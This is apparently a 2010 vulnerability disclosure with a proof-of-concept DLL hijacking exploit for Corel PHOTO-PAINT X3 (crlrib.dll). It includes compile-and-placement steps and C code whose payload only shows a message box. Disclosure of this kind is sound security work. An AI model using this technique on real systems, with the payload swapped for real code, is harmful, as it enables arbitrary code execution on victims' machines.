Corel PHOTO-PAINT X3 v13.0.0.576 DLL Hijacking Exploit (crlrib.dll)

/*
 Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit
 Vendor: Corel Corporation
 Product Web Page: http://www.corel.com
 Affected Version: X3 v13.0.0.576
 Summary: Graphic design software for striking visual communication.
 Desc: Corel PHOTO-PAINT X3 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extension is .cpt thru crlrib.dll library.
 ----
 gcc -shared -o crlrib.dll corelpp.c
 Compile and rename to crlrib.dll, create a file test.cpt and
 put both files in same dir and execute.
 ----
 Tested on Microsoft Windows XP Professional SP3 (EN)
 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com
 Zero Science Lab - http://www.zeroscience.mk
 25.08.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}